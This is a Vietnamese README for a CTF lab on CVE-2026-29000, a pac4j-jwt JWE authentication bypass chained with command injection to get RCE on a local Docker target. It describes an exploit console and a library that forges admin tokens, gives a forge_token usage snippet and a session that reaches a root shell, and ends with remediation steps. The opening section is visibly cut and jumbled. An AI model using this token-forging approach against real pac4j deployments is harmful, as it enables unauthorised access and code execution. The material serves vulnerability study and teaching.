Share
## https://sploitus.com/exploit?id=7FF2DADE-BC21-50F3-BE1F-3212F581C7CF
# CVE-2026-29000 — pac4j-jwt JWE Authentication Bypass

> **Lab CTF nghiên cứu lỗ hổng xác thực JWE trong thư viện pac4j-jwt**
> CVSS 9.8 (Critical) · CWE-287 · Ảnh hưởng: pac4j-jwt    ← shell=True, unsanitized
       ↓ RCE
cat /flag.txt
```

---

## Cấu trúc project

```
CVE-2026-29000/
├── lab/                        # Target – Flask app (NexusBank Employee Portal)
│   ├── app.py                  # Ứng dụng chính (vulnerable)
│   ├── Dockerfile              # Flag baked vào /flag.txt lúc build
│   └── requirements.txt
│
├── token_forge/                # Thư viện Python tạo JWE token giả mạo
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py          # Xây dựng JWE
│   ├── keys.py                 # Load RSA key từ JWKS URL / file / PEM
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # Interactive exploit console (Metasploit-style)
│
├── poc/                        # Java PoC – xác nhận bypass in-process
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/                      # Pytest unit tests cho token_forge
├── docker-compose.yml
└── requirements.txt
```

---

## Yêu cầu

| Công cụ | Phiên bản | Ghi chú |
|---------|-----------|---------|
| Docker Desktop | 24+ | Chạy lab |
| Docker Compose | v2+ | Tích hợp trong Docker Desktop |
| Python | 3.11+ | Chạy exploit + token_forge |
| Java + Maven | 11+ | Chỉ cần cho Java PoC |

---

## Cài đặt

### 1. Clone repo

```bash
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
```

### 2. Cài Python dependencies

```bash
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt
```

### 3. Khởi động lab (Docker)

```bash
docker compose up -d lab
```

Xác nhận lab chạy:

```bash
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
```

> **Tuỳ chỉnh flag:**
> ```bash
> docker compose build --build-arg FLAG="CTF{custom_flag}" lab
> docker compose up -d lab
> ```

### 4. Dừng lab

```bash
docker compose down
```

---

## Khai thác – Interactive Console (exploit.py)

`exploit.py` là interactive console theo phong cách Metasploit. Người chơi **tự recon** để tìm thông tin, sau đó cấu hình và khai thác.

```bash
python scripts/exploit.py
# Hoặc pre-set từ command line:
python scripts/exploit.py --rhost localhost --rport 8080
```

**Giao diện console:**

```
  Module Options  (exploit/cve_2026_29000/jwe_bypass)

  Name     Value      Required  Description
  RHOST               yes       Target host or IP address
  RPORT    8080       yes       Target port
  SSL      false      no        Use HTTPS (true/false)
  PUBKEY              yes       JWKS URL | path to JWK file | raw JWK JSON
  SUBJECT  pwned      no        JWT subject claim
  ROLES    ROLE_ADMIN no        Comma-separated roles

jwe-bypass >
```

**Workflow:**

```
jwe-bypass > set RHOST localhost
jwe-bypass > set PUBKEY http://localhost:8080/.well-known/jwks.json
jwe-bypass > check        ← kiểm tra target, phát hiện pac4j version
jwe-bypass > run          ← forge token → bypass → RCE shell

rce@localhost $ id
uid=0(root) gid=0(root) groups=0(root)

rce@localhost $ cat /flag.txt
FLAG{CVE_2026_29000_jwe_bypass_to_rce_nexusbank_pwned}
```

**PUBKEY hỗ trợ 3 định dạng:**

```bash
# 1. JWKS URL (khuyến dùng – tự fetch)
set PUBKEY http://localhost:8080/.well-known/jwks.json

# 2. File đã download về
set PUBKEY /tmp/key.json

# 3. Paste trực tiếp JSON
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
```

## Sử dụng token_forge như thư viện Python

```python
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://localhost:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
```

---

## Java PoC (in-process)

Xác nhận bypass trực tiếp trong JVM bằng Nimbus JOSE + pac4j 6.0.3:

```bash
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Chỉ in token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
```

---

## Chạy tests

```bash
pytest tests/ -v

# Với coverage report
pytest tests/ -v --cov=token_forge --cov-report=term-missing
```

---

## Khắc phục

| Biện pháp | Chi tiết |
|-----------|---------|
| Nâng cấp pac4j-jwt | Lên >= 6.3.3 / 5.7.9 / 4.5.9 |
| Sửa command injection | Dùng `shell=False`, truyền list thay string |
| Input validation | Whitelist ký tự hợp lệ cho tham số `host` |
| Xóa version header | Tắt `X-Powered-By` trong production |
| Least privilege | Không chạy container với quyền root |

---

## Tài liệu tham khảo

- [pac4j Security Advisory](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html)
- [RFC 7516 — JSON Web Encryption (JWE)](https://datatracker.ietf.org/doc/html/rfc7516)
- [RFC 7519 — JSON Web Token (JWT)](https://datatracker.ietf.org/doc/html/rfc7519)
- [RFC 8414 — OIDC Discovery](https://datatracker.ietf.org/doc/html/rfc8414)
- [CWE-287 — Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
- [CWE-78 — OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)

---